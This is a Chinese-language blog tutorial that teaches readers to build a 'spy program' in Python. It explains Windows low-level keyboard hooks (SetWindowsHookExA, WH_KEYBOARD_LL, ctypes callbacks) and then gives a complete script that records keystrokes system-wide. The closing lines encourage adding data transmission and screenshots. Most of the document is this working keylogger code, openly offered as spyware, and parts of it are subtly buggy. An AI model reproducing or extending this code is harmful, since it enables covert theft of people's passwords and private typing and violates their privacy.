知识点
这次我们使用 python 来打造一款间谍程序
程序中会用到许多知识点, 大致分为四块
win32API 此处可以在 MSDN 上查看
Python 基础重点在 cpytes 库的使用, 使用方法请点击此处 https://docs.python.org/3.7/library/ctypes.html
C 语言基础
Hook
程序的基本原理在于通过注册 Hook, 记录系统事件
那么什么是 Hook 呢
Hook 技术又叫做钩子函数, 系统在调用函数之前, 钩子程序就先捕获该消息, 钩子函数先得到控制权, 这时钩子函数既可以加工处理 (改变) 该函数的执行行为, 还可以强制结束消息的传递
注册 Hook 时我们需要先导入 DLL 库, 在 Python 中我们使用 ctypes 来导入, 导入方法如下
- user32 = CDLL("user32.dll")
- kernel32 = CDLL("kernel32.dll")
我们导入了 user32.dll 和 kernel32.dll
这两个 DLL 有什么用处呢
user32.dll 是 Windows 用户界面相关应用程序接口, 用于包括 Windows 处理, 基本用户界面等特性, 如创建窗口和发送消息
kernel32.dll 控制着系统的内存管理, 数据的输入输出操作和中断处理
流程部分
知道了我们要使用什么样的工具, 那么第一步应该怎么做呢
1. 首先我们需要先注册 Hook 到系统上, 通过 user32.dll 中的 SetWindowsHookExA 函数, 我们可以在系统上注册钩子
- HHOOK SetWindowsHookExA(
- int idHook,
- HOOKPROC lpfn,
- HINSTANCE hmod,
- DWORD dwThreadId
- );
通过查看文档我们看到 SetWindowsHookExA 函数的参数及参数类型如上所示, 详细文档点击此链接查看
通过文档我们看到第一个参数 idHook 中填入钩子的类型
WH_KEYBOARD_LL 的常量值为 13 代表的意思是监视低级键盘输入事件, 我们此处来监听键盘事件
第二个参数 lpfn 代表指向钩子过程的指针, 要填入钩子过程(函数), 我们可以在此处来添加额外代码达到我们想要达成的目的
第三个参数 hmod 表示为 DLL 句柄, 我们可以使用 kernel32 中的 GetModuleHandleW 来获取句柄
最后一个参数 dwThreadId 我们填入 0 代表与同一桌面上所有的线程关联
代码如下
user32.SetWindowsHookExA(13,handleProc,kernel32.GetModuleHandleW(),0)
如何使用 Python 来编写我们的钩子过程呢, 通过 ctypes 文档我们可以得知 Windows 下使用 WINFUNCTYPE 来创建函数
此时我们发现有 WINFUNCTYPE 和 CFUNCTYPE 两个函数, 具体要使用哪一个呢, 这两个的区别为
WINFUNCTYPE 为 Windows 下独有的, 通过使用使用 stdcall 调用约定的函数
CFUNCTYPE 使用标准 C 调用约定的函数
HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
因为我们调用的是 WH_KEYBOARD_LL,WH_KEYBOARD_LL 会使用 LowLevelKeyboardProc 回调函数, 同时我们也需要在 Python 定义它
LowLevelKeyboardProc 数据结构如下
- LRESULT CALLBACK LowLevelKeyboardProc(
- _In_ int nCode,
- _In_ WPARAM wParam,
- _In_ LPARAM lParam
- );
按照官方文档提示 如果 nCode 小于零, 则挂钩过程必须将消息传递给 CallNextHookEx 函数, 而无需进一步处理, 并且应返回 CallNextHookEx 返回的值
我们转换为 Python 代码
- class KBDLLHOOKSTRUCT(Structure):
- _fields_ = [
- ('vkCode', DWORD),
- ('scanCode', DWORD),
- ('flags', DWORD),
- ('time', DWORD),
- ('dwExtraInfo', DWORD)]
- def hookProc(nCode, wParam, lParam):
- if nCode <0:
- return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
- else:
- # 此处插入我们的代码
- pass
- return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
最后在我们退出程序时还需要删除 Hook, 不然大量的 Hook 会使系统运行缓慢, 虽然在 Windows 7 及更高版本上, 该钩子会被静默删除而不被调用. 应用程序无法知道挂钩是否已删除. 我们还是主动进行删除
删除需要使用 user32.dll 的 UnhookWindowsHookEx, 参数为 Hook 句柄
user32.UnhookWindowsHookEx(hooked)
下面贴上全部代码
- import sys
- from ctypes import *
- from ctypes.wintypes import DWORD, HHOOK, HINSTANCE, MSG, WPARAM, LPARAM
- user32 = CDLL("user32.dll")
- kernel32 = CDLL("kernel32.dll")
- class KBDLLHOOKSTRUCT(Structure):
- _fields_ = [
- ('vkCode', DWORD),
- ('scanCode', DWORD),
- ('flags', DWORD),
- ('time', DWORD),
- ('dwExtraInfo', DWORD)]
- def uninstallHookProc(hooked):
- if hooked is None:
- return
- user32.UnhookWindowsHookEx(hooked)
- hooked = None
- def hookProc(nCode, wParam, lParam):
- if nCode < 0:
- return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
- else:
- if wParam == 256:
- if 162 == lParam.contents.value:
- print("Ctrl pressed, call Hook uninstall()")
- uninstallHookProc(hooked)
- sys.exit(-1)
- capsLock = user32.GetKeyState(20)
- # kb_struct = cast(lParam, POINTER(KBDLLHOOKSTRUCT))
- if lParam.contents.value==13:
- print("\n")
- elif capsLock:
- print(chr(lParam.contents.value),end="")
- else:
- print(chr(lParam.contents.value+32),end="")
- return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
- def startKeyLog():
- msg = MSG()
- user32.GetMessageA(byref(msg), 0, 0, 0)
- def installHookProc(hooked, pointer):
- hooked = user32.SetWindowsHookExA(
- 13,
- pointer,
- kernel32.GetModuleHandleW(),
- 0
- )
- if not hooked:
- return False
- return True
- HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
- pointer = HOOKPROC(hookProc)
- hooked = None
- if installHookProc(hooked, pointer):
- print("Hook installed")
- try:
- msg = MSG()
- user32.GetMessageA(byref(msg), 0, 0, 0)
- except KeyboardInterrupt as kerror:
- uninstallHookProc(hooked)
- print("Hook uninstall...")
- else:
- print("Hook installed error")
贴上我们的效果图
我们还可以再添加上额外的代码比如数据传输, 截屏等等 ^_^
如何想要了解更多的只是请点击这里把 => 地址
来源: https://www.cnblogs.com/lonenysky/p/12341074.html